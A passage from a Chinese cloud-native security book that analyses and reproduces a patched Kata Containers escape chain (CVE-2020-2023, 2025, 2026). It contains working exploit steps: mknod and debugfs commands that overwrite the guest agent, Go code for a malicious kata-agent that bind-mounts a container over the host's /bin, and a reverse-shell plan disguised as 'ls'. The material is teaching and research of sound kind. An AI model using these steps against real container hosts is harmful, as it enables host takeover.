- 云原生安全:攻防實踐與體系構建
- 劉文懋 江國龍 浦明 阮博男 葉曉虎
- 6931字
- 2021-11-04 18:12:31
3.4.2 安全容器逃逸
作為一種虛擬化技術,雖然容器本身已經提供了一定程度上的隔離性,但這種隔離性較弱。傳統容器與宿主機共享內核,內核漏洞勢必會直接影響容器的安全性。然而由于內核的復雜度過高等原因,高危內核漏洞層出不窮。
虛擬機的安全性和隔離性遠高于容器,那么是否能夠將虛擬機的強隔離性和容器的輕量級和富生態結合起來呢?安全容器應運而生,目標是在輕量化和安全性上達到較好的平衡。
Kata Containers[1]是一種安全容器的具體實現,其他主流的安全容器還有Google推出的gVisor項目[2]等。
Kata Containers項目最初由Hyper.sh的runV項目與Intel的Clear Container合并而來,并于2017年開源。它的核心思想是為每一個容器運行一個獨立虛擬機,從而避免其與宿主機共享內核。這樣一來,即使攻擊者在容器內部成功利用了內核漏洞并攻破內核,他依然被限制在虛擬機內部,無法逃逸到宿主機上。
在不考慮其他因素的情況下,如果Kata Containers內部的攻擊者想要逃逸到宿主機上,他必須至少經過兩次逃逸——容器逃逸和虛擬機逃逸,才能達到目的。也就是說,單一的漏洞可能將不再奏效,攻擊者需要構建一條漏洞利用鏈。
在2020年Black Hat北美會議上,來自Palo Alto Networks的高級安全研究員Yuval Avrahami分享了利用多個漏洞成功從Kata Containers逃逸的議題[8]。事實上,Yuval Avrahami分享的議題就是通過兩次逃逸實現的,涉及四個漏洞:
1)CVE-2020-2023:Kata Containers容器不受限地訪問虛擬機的根文件系統設備,CVSS 3.x評分為6.3。
2)CVE-2020-2024:Kata Containers運行時(runtime)在卸載(unmount)掛載點時存在符號鏈接解析漏洞,可能允許針對宿主機的拒絕服務攻擊,CVSS 3.x評分為6.5。
3)CVE-2020-2025:基于Cloud Hypervisor的Kata Containers會將虛擬機文件系統的改動寫入到虛擬機鏡像文件(在宿主機上),CVSS 3.x評分為8.8。
4)CVE-2020-2026:Kata Containers運行時在掛載(mount)容器根文件系統(rootfs)時存在符號鏈接解析漏洞,可能允許攻擊者在宿主機上執行任意代碼,CVSS 3.x評分為8.8。
其中,CVE-2020-2024主要會導致拒絕服務攻擊,對逃逸幫助不大。逃逸依靠其他三個漏洞形成的利用鏈條來實現。
這個議題精彩又富有意義。它讓我們意識到,即使是采用了獨立內核的安全容器,也存在逃逸風險。換句話說,安全沒有銀彈。
我們將對該議題中的逃逸過程(Container-to-Host)及相關的三個漏洞進行詳解和復現[3]。
注意:
·相關漏洞在新版本Kata Containers中均已得到修復。
·文中涉及的是Kata Containers 1.x系列版本,2.x有所差異但相關度不大,不再涉及,感興趣的讀者可以參考官方文檔。
·后文中使用的Kata Containers組件、源碼版本如無特殊說明,均為1.10.0。
1.背景知識
(1)Kata Containers組件及架構
圖3-16展示了Kata Containers的組件及各自的角色位置。

圖3-16 Kata Containers組件及架構圖
我們分別介紹一下各個組件及其作用。
·runtime:容器運行時,負責處理來自Docker引擎或Kubernetes等上層設施的命令(OCI規范定義)及啟動kata-shim,程序名為kata-runtime。
·agent:運行在虛擬機中,與runtime交互,用于管理容器及容器內進程,程序名為kata-agent。
·proxy:負責宿主機與虛擬機之間的通信(對shim、runtime及agent之間的I/O流及信號進行路由),如果宿主機內核支持vsock,則proxy是非必要的,程序名為kata-proxy。
·shim:容器進程收集器,用來監控容器進程并收集、轉發I/O流及信號,程序名為kata-shim。
·hypervisor:虛擬機監視器,負責虛擬機的創建、運行、銷毀等管理,有多種選擇,如QEMU、Cloud Hypervisor等。
·虛擬機:由高度優化過的內核和文件系統鏡像文件創建而來,負責為容器提供一個更強的隔離環境。
(2)Cloud Hypervisor
Cloud Hypervisor是一個開源的虛擬機監視器(VMM),基于KVM運行。該項目專注于在受限硬件基礎架構和平臺上運行現代云計算工作流。它采用Rust語言實現,基于rust-vmm創建。
從1.10.0版本起,Kata Containers支持采用Cloud Hypervisor作為它的虛擬機監視器。
欲了解更多關于Cloud Hypervisor的內容,可以參考官方文檔[4]。
2.漏洞分析
從前面的介紹中我們知道,從容器到宿主機的逃逸涉及三個漏洞的使用,由容器逃逸和虛擬機逃逸兩部分組成。其中,容器逃逸涉及的漏洞是CVE-2020-2023,虛擬機逃逸涉及的漏洞是CVE-2020-2025和CVE-2020-2026。其中,前兩個是權限控制的問題,最后一個漏洞則是云原生環境下的“熟客”——未限制符號鏈接解析導致的文件系統逃逸問題,類似的漏洞還有CVE-2019-14271等。
下面我們分別進行簡單分析。
(1)CVE-2020-2023
這個漏洞是典型的權限控制問題——容器內部可以訪問并修改虛擬機的文件系統。其根源之一在于,Kata Containers并未通過Device Cgroup限制容器對虛擬機設備的訪問,因此容器能夠通過創建設備文件的方式來訪問虛擬機設備。
創建設備文件需要用到mknod系統調用,而mknod系統調用需要Capabilities中的CAP_MKNOD權限。那么容器是否擁有這個權限呢?不同引擎的規定不一定相同,默認情況下Docker引擎支持此權限。
//moby/oci/caps/defaults.go package caps //import "github.com/docker/docker/oci/caps" //DefaultCapabilities returns a Linux kernel default capabilities func DefaultCapabilities() []string { return []string{ "CAP_CHOWN", "CAP_DAC_OVERRIDE", "CAP_FSETID", "CAP_FOWNER", "CAP_MKNOD", //容器有此權限! "CAP_NET_RAW", "CAP_SETGID", "CAP_SETUID", "CAP_SETFCAP", "CAP_SETPCAP", "CAP_NET_BIND_SERVICE", "CAP_SYS_CHROOT", "CAP_KILL", "CAP_AUDIT_WRITE", } }
我們可以在Kata Containers創建的容器中驗證一下:
root@kata:~# docker run --rm -it ubuntu /bin/bash root@df2cff910fdb:/# grep CapEff /proc/self/status CapEff: 00000000a80425fb root@df2cff910fdb:/# exit exit root@kata:~# capsh --decode=00000000a80425fb 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill, cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_ chroot,cap_mknod,cap_audit_write,cap_setfcap
首先從容器中的/proc/self/status文件獲取到Capabilities的具體值,然后進行解析。結果顯示,容器確實擁有CAP_MKNOD權限。
那么再結合CVE-2020-2023,我們進一步嘗試能否在容器內通過創建設備文件來訪問甚至修改設備。
在存在漏洞的環境中(后文“逃逸復現”部分的“環境準備”環節給出了搭建漏洞環境的方法),創建一個容器;在容器內,首先我們需要找到底層虛擬機塊設備的設備號,然后創建設備文件。
/sys/dev/block/目錄下是各種塊設備的符號鏈接,文件名即為目標塊設備的主次設備號,我們要找到目標塊設備為vda1的符號鏈接文件名,從而獲得主次設備號。
例如,在筆者的環境下:
root@7d30fe24da7e:/# ls -al /sys/dev/block/ | grep vda1 lrwxrwxrwx 1 root root 0 Sep 23 03:16 254:1 -> ../../devices/pci0000:00/ 0000:00:01.0/virtio0/block/vda/vda1
找到主設備號為254,次設備號為1。在獲取設備號后,即可使用mknod創建設備文件,執行如下命令:
mknod --mode 0600 /dev/guest_hd b 254 1
接著就可以對該設備進行訪問和操作了。這里我們可以借助debugfs工具來實現:
root@7d30fe24da7e:/# /sbin/debugfs -w /dev/guest_hd debugfs 1.45.5 (07-Jan-2020) debugfs: ls 2 (12) . 2 (12) .. 11 (20) lost+found 12 (16) autofs 13 (12) bin 14 (12) boot 15 (12) dev 16 (12) etc 21 (12) home 22 (12) lib 23 (16) lib64 24 (16) media 25 (12) mnt 26 (12) proc 27 (12) root 28 (12) run 29 (12) sbin 30 (12) srv 31 (12) sys 32 (12) tmp 33 (12) usr 2061 (3824) var
果然漏洞存在,我們的確能夠訪問虛擬機文件系統。那么,能否修改設備呢?答案是可以的,如kata-agent就在usr/bin目錄下:
debugfs: cd usr/bin debugfs: ls 435 (12) . 33 (12) .. 436 (20) kata-agent 437 (16) ldconfig 438 (16) chronyc 439 (16) chronyd 440 (16) capsh 441 (16) getcap 442 (16) getpcaps 443 (16) setcap 444 (12) su 445 (16) bootctl 446 (16) busctl 447 (20) coredumpctl
我們可以直接刪除它:
debugfs: rm kata-agent debugfs: ls 435 (12) . 33 (32) .. 437 (16) ldconfig 438 (16) chronyc 439 (16) chronyd 440 (16) capsh 441 (16) getcap 442 (16) getpcaps 443 (16) setcap 444 (12) su 445 (16) bootctl 446 (16) busctl 447 (20) coredumpctl 448 (12) halt
可以看到,操作執行成功,kata-agent被刪除了。
我們能夠修改文件系統,說明它以讀寫模式掛載,這是漏洞根源之二。
(2)CVE-2020-2025
該漏洞也屬于權限控制問題——在存在漏洞的環境中,虛擬機鏡像并未以只讀模式掛載。因此,虛擬機能夠對硬盤進行修改,并將修改持久化到虛擬機鏡像中。這樣一來,后續所有新虛擬機都將基于修改后的鏡像創建了。
我們來驗證一下。思路是在之前CVE-2020-2023的基礎上,先啟動一個容器,使用debugfs向虛擬機硬盤中寫入一個flag.txt文件,內容為“hello,kata”,然后銷毀該容器,再次創建一個新容器,在其中使用debugfs查看文件系統是否存在上述文件,以判斷虛擬機鏡像是否被改寫。具體的過程如下:
root@kata:~# docker run --rm -it ubuntu /bin/bash root@28caf254e3b3:/# mknod --mode 0600 /dev/guest_hd b 254 1 root@28caf254e3b3:/# echo "hello, kata" > flag.txt root@28caf254e3b3:/# /sbin/debugfs -w /dev/guest_hd debugfs 1.45.5 (07-Jan-2020) debugfs: cd usr/bin debugfs: write flag.txt flag.txt Allocated inode: 172 debugfs: close -a debugfs: quit root@28caf254e3b3:/# exit exit root@kata:~# root@kata:~# docker run --rm -it ubuntu /bin/bash root@1773bd058e1b:/# mknod --mode 0600 /dev/guest_hd b 254 1 root@1773bd058e1b:/# /sbin/debugfs -w /dev/guest_hd debugfs 1.45.5 (07-Jan-2020) debugfs: cd usr/bin debugfs: dump flag.txt flag.txt debugfs: quit root@1773bd058e1b:/# cat flag.txt hello, kata
可以看到,虛擬機鏡像確實被改寫了。
(3)CVE-2020-2026
CVE-2020-2026屬于非常典型的一類漏洞——符號鏈接處理不當引起的安全問題。我們抽絲剝繭,一步步分析這個漏洞。
在背景知識部分,我們已經介紹了Kata Containers的基本組件,圖3-17是Kata Containers執行OCI命令create時組件間的交互時序圖[5]。
圖3-17中大部分組件我們都介紹過了,此外,virtcontainers曾經是一個獨立的項目,現在已經成為kata-runtime的一部分,它為構建硬件虛擬化的容器運行時提供了一套Go語言庫。
可以看到,Docker引擎向kata-runtime下發create指令,然后,kata-runtime通過調用virtcontainers的CreateSandbox來啟動具體的容器創建過程。接著,virtcontainers承擔起主要職責,調用hypervisor提供的服務去創建網絡、啟動虛擬機。
我們重點關注virtcontainers向agent發起的CreateSandbox調用,從這里開始,virtcontainers與agent連續兩次請求響應,是容器創建過程中最核心的部分,也是CVE-2020-2026漏洞存在的地方:
virtcontainers --- CreateSandbox ---> agent virtcontainers <-- Sandbox Created -- agent virtcontainers -- CreateContainer --> agent virtcontainers <--Container Created-- agent

圖3-17 Kata Containers執行OCI命令create時組件間的交互時序
這里的Sandbox與Container有什么不同呢?Sandbox是一個統一、基本的隔離空間,一個虛擬機中只有一個Sandbox,但是該Sandbox內可以有多個容器,這就對應了Kubernetes Pod的模型;對于Docker來說,一般一個Sandbox內只運行一個Container。無論是哪種情況,Sandbox的ID與內部第一個容器的ID相同。
在上面這兩次來往的過程中,容器即創建完成。我們知道,容器是由鏡像創建而來,那么kata-runtime是如何將鏡像內容傳遞給虛擬機內部kata-agent的呢?答案是將根文件目錄(rootfs)掛載到宿主機與虛擬機的共享目錄中。
首先,runtime/virtcontainers/kata_agent.go的startSandbox函數向kata-agent發起gRPC調用:
//runtime/virtcontainers/kata_agent.go storages := setupStorages(sandbox) kmodules := setupKernelModules(k.kmodules) req := &grpc.CreateSandboxRequest{ Hostname: hostname, Dns: dns, Storages: storages, SandboxPidns: sandbox.sharePidNs, SandboxId: sandbox.id, GuestHookPath: sandbox.config.HypervisorConfig.GuestHookPath, KernelModules: kmodules, }
可以看到,其中帶有SandboxId和Storages參數。其中,Storages的值來自setupStorages函數,這個函數用于配置共享目錄的存儲驅動、文件系統類型和掛載點等。Storages內的元素定義如下(setupStorages函數):
sharedVolume := &grpc.Storage{ Driver: kataVirtioFSDevType, Source: mountGuestTag, MountPoint: kataGuestSharedDir(), Fstype: typeVirtioFS, Options: sharedDirVirtioFSOptions, }
其中,kataGuestSharedDir函數會返回共享目錄在虛擬機內部的路徑,也就是MountPoint的值:/run/kata-containers/shared/containers/。
然后切換到kata-agent側。當它收到gRPC調用請求后,內部的CreateSandbox函數開始執行(位于“agent/grpc.go”)。具體如下(我們省略了內核模塊加載、命名空間創建等代碼邏輯):
//agent/grpc.go func (a *agentGRPC) CreateSandbox(ctx context.Context, req *pb.CreateSandboxRequest) (*gpb.Empty, error) { if a.sandbox.running { return emptyResp, grpcStatus.Error(codes.AlreadyExists, "Sandbox already started, impossible to start again") } //省略... if req.SandboxId != "" { a.sandbox.id = req.SandboxId agentLog = agentLog.WithField("sandbox", a.sandbox.id) } //省略... mountList, err := addStorages(ctx, req.Storages, a.sandbox) if err != nil { return emptyResp, err } a.sandbox.mounts = mountList if err := setupDNS(a.sandbox.network.dns); err != nil { return emptyResp, err } return emptyResp, nil }
可以看到,在收到請求后,kata-agent會調用addStorages函數,根據kata-runtime的指令掛載共享目錄。經過深入分析,該函數最終會調用mountStorage函數,執行掛載操作:
//agent/mount.go //mountStorage performs the mount described by the storage structure. func mountStorage(storage pb.Storage) error { flags, options := parseMountFlagsAndOptions(storage.Options) return mount(storage.Source, storage.MountPoint, storage.Fstype, flags, options) }
這里的MountPoint即來自kata-runtime的“/run/kata-containers/shared/containers/”。至此,宿主機與虛擬機的共享目錄已經掛載到了虛擬機內。
最后,CreateSandbox執行完成,kata-runtime收到回復。
那么,kata-runtime什么時候會向共享目錄中掛載呢?如圖3-18所示,發送完CreateSandbox請求后,kata-runtme在bindMountContainerRootfs中開始掛載容器根文件系統。

圖3-18 從創建沙箱到綁定掛載的函數流程
代碼如下:
//runtime/virtcontainers/mount.go func bindMountContainerRootfs(ctx context.Context, sharedDir, sandboxID, cID, cRootFs string, readonly bool) error { span, _ := trace(ctx, "bindMountContainerRootfs") defer span.Finish() rootfsDest := filepath.Join(sharedDir, sandboxID, cID, rootfsDir) return bindMount(ctx, cRootFs, rootfsDest, readonly) }
其中,rootfsDest是宿主機上共享目錄中容器根文件系統的位置。它的形式是“/run/kata-containers/shared/sandboxes/sandbox_id/container_id/rootfs”,其中sandbox_id與container_id分別是沙箱和容器的ID。如前所述,對于只運行一個容器的情況來說,這兩個ID是一致的;cRootFs是根文件系統在虛擬機內部共享目錄中的掛載位置,形式為“/run/kata-containers/shared/containers/sandbox_id/rootfs”。
在函數的末尾,bindMount函數執行實際的綁定掛載任務:
//runtime/virtcontainers/mount.go func bindMount(ctx context.Context, source, destination string, readonly bool) error { //省略... absSource, err := filepath.EvalSymlinks(source) //重點!??! if err != nil { return fmt.Errorf("Could not resolve symlink for source %v", source) } //省略... if err := syscall.Mount(absSource, destination, "bind", syscall.MS_BIND, ""); err != nil { return fmt.Errorf("Could not bind mount %v to %v: %v", absSource, destination, err) } // 省略... return nil }
重點來了!該函數會對虛擬機內部的掛載路徑做符號鏈接解析。
符號鏈接解析是在宿主機上進行的,但是實際的路徑位于虛擬機內。如果虛擬機由于某種原因被攻擊者控制,那么攻擊者就能夠在掛載路徑上創建一個符號鏈接,kata-runtime將把容器根文件系統掛載到該符號鏈接指向的宿主機上的其他位置!
舉例來說,假如虛擬機內部的kata-agent被攻擊者替換為惡意程序,該惡意agent在收到CreateSandbox請求后,根據拿到的沙箱ID在“/run/kata-containers/shared/containers/sandbox_id/”創建一個名為rootfs的符號鏈接,指向/tmp/xxx目錄,那么之后kata-runtime在進行綁定掛載時,就會將容器根文件系統掛載到宿主機上的/tmp/xxx目錄下。在許多云計算場景下,攻擊者是可以控制容器鏡像的,因此,他能夠將特定文件放在宿主機上的特定位置,從而實現虛擬機逃逸。
第一眼看到CVE-2020-2026,也許有人會覺得不太好利用,攻擊者不是在容器里嗎,如何跑到虛擬機里?確實,一般情況下的確比較困難,但是一旦它可以與CVE-2020-2023、CVE-2020-2025結合,就有可能了。
3.逃逸復現
(1)環境準備
我們需要準備一套存在前述三個漏洞的Kata Containers環境,并配置其使用Cloud Hypervisor作為虛擬機管理程序。這里,筆者采用VMware+Ubuntu18.04+Docker+Kata Containers 1.10.0作為測試環境。
首先,參照官方文檔安裝Docker。接著,從Kata Containers官方Github倉庫[6]下載1.10.0版本的靜態程序包“kata-static-1.10.3-x86_64.tar.xz”,下載后進行安裝即可,具體可參考如下步驟(需要root權限):
#!/bin/bash set -e -x # 下載安裝包(如果已經下載,此步可跳過) #wget https://github.com/kata-containers/runtime/releases/download/1.10.0/ kata-static-1.10.0-x86_64.tar.xz tar xf kata-static-1.10.0-x86_64.tar.xz rm -rf /opt/kata mv ./opt/kata /opt rmdir ./opt rm -rf /etc/kata-containers cp -r /opt/kata/share/defaults/kata-containers /etc/ # 使用Cloud Hypervisor作為虛擬機管理程序 rm /etc/kata-containers/configuration.toml ln -s /etc/kata-containers/configuration-clh.toml /etc/kata-containers/ configuration.toml # 配置Docker mkdir -p /etc/docker/ cat << EOF > /etc/docker/daemon.json { "runtimes": { "kata-runtime": { "path": "/opt/kata/bin/kata-runtime" }, "kata-clh": { "path": "/opt/kata/bin/kata-clh" }, "kata-qemu": { "path": "/opt/kata/bin/kata-qemu" } }, "registry-mirrors": ["https://docker.mirrors.ustc.edu.cn/"] } EOF mkdir -p /etc/systemd/system/docker.service.d/ cat << EOF > /etc/systemd/system/docker.service.d/kata-containers.conf [Service] ExecStart= ExecStart=/usr/bin/dockerd -D --add-runtime kata-runtime=/opt/kata/bin/kata- runtime --add-runtime kata-clh=/opt/kata/bin/kata-clh --add-runtime kata- qemu=/opt/kata/bin/kata-qemu --default-runtime=kata-runtime EOF # 重載配置&重新啟動Docker systemctl daemon-reload && systemctl restart docker
安裝完成??梢钥匆幌翫ocker當前配置的runtime是否為Kata Containers:
root@kata:~# docker info | grep 'Runtime' Runtimes: kata-runtime runc kata-clh kata-qemu Default Runtime: kata-runtime
完畢后,再嘗試使用Kata Containers+Cloud Hypervisor運行一個容器:
root@kata:~# docker run --rm -it --runtime="kata-clh" ubuntu uname -a Linux 1998641bad3f 5.3.0-rc3 #1 SMP Thu Jan 16 01:53:44 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
可以看到,容器使用的內核版本為5.3.0-rc3,而我們測試環境宿主機的內核版本為4.15.0-117-generic:
root@kata:~# uname -a Linux matrix 4.15.0-117-generic #118-Ubuntu SMP Fri Sep 4 20:02:41 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
可見環境搭建成功了。
(2)漏洞利用
接下來,我們模擬漏洞利用場景:目標環境是一個使用Kata Containers作為容器運行時的容器服務(Container-as-a-Service)。攻擊者首先上傳惡意鏡像,在云環境中啟動一個容器,污染Kata Containers使用的虛擬機鏡像;然后再次啟動一個惡意容器,此時,Kata Containers使用被污染的虛擬機鏡像創建出一個惡意虛擬機,它會欺騙Kata Containers運行時組件kata-runtime,將惡意容器根文件系統掛載到云平臺宿主機上的/bin目錄下。管理員在使用/bin目錄下的工具時觸發反彈shell,攻擊者收到反彈shell,實現逃逸。整個逃逸流程如圖3-19所示。
下面,我們就逐步曝光每個環節。
構建惡意kata-agent
結合前面漏洞分析部分可知,要利用好CVE-2020-2026漏洞,就需要在kata-agent的gRPC服務上做文章。
執行如下命令,首先拿到kata-agent的源碼并切換到1.10.0版本:
mkdir -p $GOPATH/src/github.com/kata-containers/ cd $GOPATH/src/github.com/kata-containers/ git clone https://github.com/kata-containers/agent cd agent git checkout 1.10.0

圖3-19 Kata Containers逃逸流程
在grpc.go文件中,找到CreateSandbox函數,其中有一部分代碼是用來將宿主機共享目錄掛載到虛擬機中的:
mountList, err := addStorages(ctx, req.Storages, a.sandbox) if err != nil { return emptyResp, err } a.sandbox.mounts = mountList
共享目錄掛載后,我們才能在里邊創建符號鏈接。因此,在上述代碼后面添加創建符號鏈接的代碼:
sharedParent := fmt.Sprintf("/run/kata-containers/shared/containers/%s/", a.sandbox.id) sharedPath := fmt.Sprintf("/run/kata-containers/shared/containers/%s/rootfs", a.sandbox.id) if err := os.Mkdir(sharedParent, 0755); err != nil { return emptyResp, fmt.Errorf("MkdirAll oops: '%s'", err) } newPath := "/bin" if err := os.Symlink(newPath, sharedPath); err != nil { return emptyResp, fmt.Errorf("Symlink oops: '%s'", err) }
這樣一來,當kata-runtime向kata-agent發出CreateSandbox指令時,kata-agent將在共享目錄內的rootfs位置創建一個符號鏈接,指向/bin;此后,當kata-runtime向該位置綁定掛載容器根文件系統時,實際的掛載路徑將是宿主機的/bin。
除此之外,還需要避免kata-runtime在容器生命周期結束時從/bin卸載容器根文件系統。因此,我們設法在卸載操作前把共享目錄中的rootfs位置替換為一個正常目錄。此外,kata-runtime在掛載容器鏡像后,還會向kata-agent發出CreateContainer指令,因此,可在kata-agent源碼grpc.go文件中的CreateContainer函數內添加刪除符號鏈接、創建正常目錄的操作:
rootfs_path := "/run/kata-containers/shared/containers/" + a.sandbox.id + "/rootfs" if err := os.Remove(rootfs_path); err != nil { return emptyResp, fmt.Errorf("Attack Remove symlink: '%s'", err) } if err := os.Mkdir(rootfs_path, os.FileMode(0755)); err != nil { return emptyResp, fmt.Errorf("Attack Mkdir recreate rootfs dir: '%s'", err) }
至此,惡意kata-agent編寫完成,執行make構建即可。
構建惡意鏡像kata-malware-image
從上面的流程圖可以發現,攻擊者實際上需要先后創建兩個惡意容器。為簡單起見,我們只構造一個惡意鏡像,它需要完成兩個任務:
1)在第一個容器啟動時,利用CVE-2020-2023和CVE-2020-2025漏洞,將底層虛擬機塊設備中的kata-agent替換為攻擊者準備好的惡意文件。
2)第二個容器本不需要做任何事情,但此時由于CVE-2020-2026漏洞的存在,kata-runtime會將容器的根文件系統掛載到宿主機上指定位置(由惡意kata-agent創建的符號鏈接指定)。因此,鏡像中還需要包含反彈shell需要的程序。
第二個任務比較簡單,我們只需要在惡意容器的根目錄下準備反彈shell程序(建議用C語言編寫,另外,網絡上有很多反彈shell源碼)即可。由于是覆蓋到/bin,因此我們可以考慮以/bin下的一些常用命令為反彈shell命名,如ls等。另外,假如反彈shell程序依賴bash等系統的自帶shell,那么我們也需要在鏡像中準備——一旦/bin被覆蓋,/bin/bash及一系列其他shell就不可用了。
第一個任務則稍復雜,需要將上一步中構建好的惡意kata-agent寫入底層虛擬機塊設備中,可利用現成工具debugfs來達到目的。
如前文的“漏洞分析”部分所述,在獲取設備號后,直接使用mknod創建設備文件,執行如下命令:
mknod --mode 0600 /dev/guest_hd b 254 1
接著,就可以利用漏洞CVE-2020-2023,借助debugfs打開該設備并進行操作了。默認情況下,直接執行debugfs會進入交互式界面。我們也可以借助它的-f參數,以文件形式給出操作指令。交互式界面的具體操作如下:
/sbin/debugfs -w /dev/guest_hd # 以下在debugfs的交互命令行中執行 cd /usr/bin rm kata-agent write /evil-kata-agent kata-agent close -a
由于存在CVE-2020-2025漏洞,上述操作會直接將Kata Containers使用的虛擬機鏡像中的kata-agent替換為惡意程序,任務完成。
按照上述步驟制作成惡意容器鏡像即可。
向目標環境上傳惡意鏡像
云平臺一般會提供上傳或拉取鏡像的功能,為簡單起見,筆者直接在目標主機上構建惡意鏡像??傊?,就是將惡意鏡像傳到目標環境上即可。
發起攻擊
萬事俱備,只欠東風。攻擊者現在只需要做三件事:
1)開啟一個監聽反彈shell的進程。
2)在目標環境上使用惡意鏡像創建一個新容器。
3)在上一容器內的惡意腳本執行完后,繼續使用惡意鏡像創建第二個容器。
可以編寫一個簡單的腳本來自動化上述步驟。

圖3-20 自動化逃逸攻擊模擬

圖3-21 模擬受害者執行被替換的ls命令
如圖3-20所示,攻擊成功(注意,覆蓋kata-agent可能耗時較久)。此時目標宿主機上的/bin目錄已經被惡意鏡像的根目錄覆蓋(綁定掛載)。假設此時管理員登錄宿主機,執行了一些常用命令,如ls,如圖3-21所示。
此時,ls已經被替換為惡意程序,且攻擊者收到了目標宿主機反彈回來的shell,如圖3-22所示。

圖3-22 攻擊者收到的目標宿主機反彈shell
(3)注意事項
·如果在VMware中搭建測試環境,使用Kata Containers運行容器前需要配置一下vsock,執行如下命令:
sudo systemctl stop vmware-tools sudo modprobe -r vmw_vsock_vmci_transport sudo modprobe -i vhost_vsock
·構建惡意鏡像時,使用runC構建會比直接在配置好kata-runtime的環境中快很多。
·實際上,對于攻擊者來說,覆蓋/bin并非是最好的思路。一方面,他在反彈shell中能夠用到的工具會減少——原宿主機上/bin目錄下的所有工具都無法使用了;另一方面,攻擊者需要管理員的配合,如要等到管理員執行ls等命令才能實現攻擊。另一種思路是覆蓋/lib或/lib64目錄并提供惡意的動態鏈接庫[7],這樣既不會影響到/bin目錄下的工具(嚴格來說,可能會影響一些使用到動態鏈接庫的程序),又不需要管理員的配合就可實施攻擊,因為包括kata-runtime在內的許多系統進程都會自動調用動態鏈接庫中的函數。
4.漏洞修復
在了解漏洞原理后,修復思路就較為直觀了。不過,修復細節不是本章關注的重點,感興趣的讀者可以參考官方倉庫[8]。
[1] https://katacontainers.io/。
[2] https://gvisor.dev/。
[3] 本小節的隨書代碼倉庫路徑:https://github.com/brant-ruan/cloud-native-security-book/tree/main/code/0304-運行時攻擊/02-安全容器逃逸。
[4] https://github.com/cloud-hypervisor/cloud-hypervisor。
[5] 圖片來自:https://github.com/kata-containers/documentation/blob/master/design/architecture.md。
[6] https://github.com/kata-containers/runtime/releases/download/1.10.0/kata-static-1.10.0-x86_64.tar.xz。
[7] https://github.com/kata-containers/community/blob/master/VMT/KCSA/KCSA-CVE-2020-2026.md。
[8] https://github.com/kata-containers/agent/pull/792。https://github.com/kata-containers/runtime/pull/2477。https://github.com/kata-containers/runtime/pull/2487。https://github.com/kata-containers/runtime/pull/2713。